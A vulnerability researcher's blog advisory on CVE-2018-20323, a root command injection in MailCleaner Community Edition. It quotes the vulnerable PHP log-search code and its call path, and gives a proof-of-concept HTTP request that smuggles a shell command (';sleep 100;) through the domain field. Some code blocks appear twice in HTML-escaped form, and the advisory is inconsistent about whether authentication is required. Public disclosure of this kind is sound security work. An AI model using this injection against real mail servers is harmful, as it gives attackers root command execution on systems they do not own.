CVE-2018-20323 | MailCleaner Community Edition Remote Code Execution - Mehmet Ince @mdisec - Vulnerability Researcher | Building security products | Security Advisor | Amateur Muay Thai fighter
Skip to content
Posts
CVE INDEX
About Me
X
LinkedIn
YouTube
GitHub
CVE-2018-20323 | MailCleaner Community Edition Remote Code Execution
Dec 19, 2018
In this article, I would like to share a remote code execution vulnerability details of MailCleaner Community Edition product.
Advisory Informations
Remotely Exploitable:&nbsp;Yes
Authentication Required:&nbsp;NO
Vendor URL:&nbsp;https://www.mailcleaner.net/
Date of found:&nbsp;19 Dec 2018
Technical Details
I identified command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root.
Logs.php file which located at www/soap/application/MCSoap has a vulnerability command execution code flow between lines 45-49 (following section)
static public function Logs_StartTrace($params) {
$trace_id = 0;
require_once('MailCleaner/Config.php');
$mcconfig = MailCleaner_Config::getInstance();
if (!isset($params&#91;'regexp'&#93;)
|| !$params&#91;'datefrom'&#93; || !preg_match('/^\d{8}$/', $params&#91;'datefrom'&#93;)
|| !$params&#91;'dateto'&#93; || !preg_match('/^\d{8}$/', $params&#91;'dateto'&#93;) ) {
return array('trace_id' = $trace_id);
}
$cmd = $mcconfig-getOption('SRCDIR')."/bin/search_log.pl ".$params&#91;'datefrom'&#93;." ".$params&#91;'dateto'&#93;." '".$params&#91;'regexp'&#93;."'";
if (isset($params&#91;'filter'&#93;) &amp;&amp; $params&#91;'filter'&#93; != '') {
$cmd .= " '".$params&#91;'filter'&#93;."'";
}
if (isset($params&#91;'hiderejected'&#93;) &amp;&amp; $params&#91;'hiderejected'&#93;) {
$cmd .= ' -R ';
}
if (isset($params&#91;'trace_id'&#93;) &amp;&amp; $params&#91;'trace_id'&#93;) {
$trace_id = $params&#91;'trace_id'&#93;;
} else {
$trace_id = md5(uniqid(mt_rand(), true));
}
$cmd .= " -B ".$trace_id;
$cmd .= " ".$mcconfig-getOption('VARDIR')."/run/mailcleaner/log_search/".$trace_id." &amp;";
$res = `$cmd`;
return array('trace_id' = $trace_id, 'cmd' = $cmd) ;
}
static public function Logs_StartTrace($params) {
$trace_id = 0;
require_once(&#39;MailCleaner/Config.php&#39;);
$mcconfig = MailCleaner_Config::getInstance();
if (!isset($params&#91;&#39;regexp&#39;&#93;)
|| !$params&#91;&#39;datefrom&#39;&#93; || !preg_match(&#39;/^\d{8}$/&#39;, $params&#91;&#39;datefrom&#39;&#93;)
|| !$params&#91;&#39;dateto&#39;&#93; || !preg_match(&#39;/^\d{8}$/&#39;, $params&#91;&#39;dateto&#39;&#93;) ) {
return array(&#39;trace_id&#39; =&gt; $trace_id);
}
$cmd = $mcconfig-&gt;getOption(&#39;SRCDIR&#39;).&quot;/bin/search_log.pl &quot;.$params&#91;&#39;datefrom&#39;&#93;.&quot; &quot;.$params&#91;&#39;dateto&#39;&#93;.&quot; &#39;&quot;.$params&#91;&#39;regexp&#39;&#93;.&quot;&#39;&quot;;
if (isset($params&#91;&#39;filter&#39;&#93;) &amp;&amp; $params&#91;&#39;filter&#39;&#93; != &#39;&#39;) {
$cmd .= &quot; &#39;&quot;.$params&#91;&#39;filter&#39;&#93;.&quot;&#39;&quot;;
}
if (isset($params&#91;&#39;hiderejected&#39;&#93;) &amp;&amp; $params&#91;&#39;hiderejected&#39;&#93;) {
$cmd .= &#39; -R &#39;;
}
if (isset($params&#91;&#39;trace_id&#39;&#93;) &amp;&amp; $params&#91;&#39;trace_id&#39;&#93;) {
$trace_id = $params&#91;&#39;trace_id&#39;&#93;;
} else {
$trace_id = md5(uniqid(mt_rand(), true));
}
$cmd .= &quot; -B &quot;.$trace_id;
$cmd .= &quot;&gt; &quot;.$mcconfig-&gt;getOption(&#39;VARDIR&#39;).&quot;/run/mailcleaner/log_search/&quot;.$trace_id.&quot; &amp;&quot;;
$res = `$cmd`;
return array(&#39;trace_id&#39; =&gt; $trace_id, &#39;cmd&#39; =&gt; $cmd) ;
}
As you can see, lines between 20-28 there is an operating system command execution flow. If you look at the code carefully, you can see parameters like&nbsp;filter&nbsp;has been used without validation within the command.
I&#8217;ve followed all the code flows where&nbsp;Logs_StartTrace&nbsp;has been used. One of these usage was interesting;
public function startFetchAll($params) {&lt;br		$trace_id = 0;&lt;br		$slave = new Default_Model_Slave();&lt;br        $slaves = $slave-fetchAll();&lt;br        &lt;br        foreach ($slaves as $s) {&lt;br        	$res = $s-sendSoapRequest('Logs_StartTrace', $params);&lt;br        	if (isset($res&#91;'trace_id'&#93;)) {&lt;br        		$trace_id = $res&#91;'trace_id'&#93;;&lt;br                $params&#91;'trace_id'&#93; = $trace_id;&lt;br        	} else {&lt;br                        continue;&lt;br        	}&lt;br        }&lt;br        return $trace_id;&lt;br	}
public function startFetchAll($params) {&lt;br&gt;		$trace_id = 0;&lt;br&gt;		$slave = new Default_Model_Slave();&lt;br&gt;        $slaves = $slave-&gt;fetchAll();&lt;br&gt;        &lt;br&gt;        foreach ($slaves as $s) {&lt;br&gt;        	$res = $s-&gt;sendSoapRequest(&#39;Logs_StartTrace&#39;, $params);&lt;br&gt;        	if (isset($res&#91;&#39;trace_id&#39;&#93;)) {&lt;br&gt;        		$trace_id = $res&#91;&#39;trace_id&#39;&#93;;&lt;br&gt;                $params&#91;&#39;trace_id&#39;&#93; = $trace_id;&lt;br&gt;        	} else {&lt;br&gt;                        continue;&lt;br&gt;        	}&lt;br&gt;        }&lt;br&gt;        return $trace_id;&lt;br&gt;	}
As you can see, our method where we have an issue is being called through soap service.
Further analysis showed that&nbsp;startFecthAll&nbsp;method has been used within&nbsp;ManagetracingController&nbsp;like follow.
public function searchAction() {
// ... OMITTED CODE ...
$view-loading = $loading;
$view-params = $this-getSearchParams();
$orderfield = 'date';
$orderorder = 'desc';
// ... OMITTED CODE ...
}
if (isset($session-trace_id) &amp;&amp; $session-trace_id) {
// ... OMITTED CODE ...
} else {
## no search running, launch search
if ($request-getParam('domain') != "") {
$trace_id = $element-startFetchAll($params);
$session-trace_id = $trace_id;
}
$view-loading = 1;
}
public function searchAction() {
// ... OMITTED CODE ...
$view-&gt;loading = $loading;
$view-&gt;params = $this-&gt;getSearchParams();
$orderfield = &#39;date&#39;;
$orderorder = &#39;desc&#39;;
// ... OMITTED CODE ...
}
if (isset($session-&gt;trace_id) &amp;&amp; $session-&gt;trace_id) {
// ... OMITTED CODE ...
} else {
## no search running, launch search
if ($request-&gt;getParam(&#39;domain&#39;) != &quot;&quot;) {
$trace_id = $element-&gt;startFetchAll($params);
$session-&gt;trace_id = $trace_id;
}
$view-&gt;loading = 1;
}
Proof Of Concept
Following HTTP request successfully triggered vulnerability.
POST /admin/managetracing/search/search HTTP/1.1
Host: 12.0.0.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32;
Content-Type: application/x-www-form-urlencoded
Content-Length: 576
search=bMrpc&amp;domain=';sleep 100;%26&amp;submit=1
POST /admin/managetracing/search/search HTTP/1.1
Host: 12.0.0.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: MCSESS=3m6nk64ebqbf1jsnkc8vkmrg32;
Content-Type: application/x-www-form-urlencoded
Content-Length: 576
search=bMrpc&amp;domain=&#39;;sleep 100;%26&amp;submit=1
Metasploit Module
As usual ?
Leave a Reply Cancel reply
Your email address will not be published. Required fields are marked *
Comment *
Name *
Email *
Website
Save my name, email, and website in this browser for the next time I comment.
&#916;
You may also enjoy…
The Story of a Perfect Exploit Chain: Six Bugs That Looked Harmless Until They Became Pre-Auth RCE in a Security Appliance
Jan 2026
Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096)
Dec 2025
The Chessboard of Security: Insights on Product Development and Vulnerabilities from a Hacker Perspective
Nov 2025
Digital Cosmos: A Journey Through the Galaxy of Vulnerabilities
Oct 2025
CVE-2021-3825 | LiderAhenk 0day &#8211; All your PARDUS Clients Belongs To Me
Dec 2021
Posts
CVE INDEX
About Me
Search
Search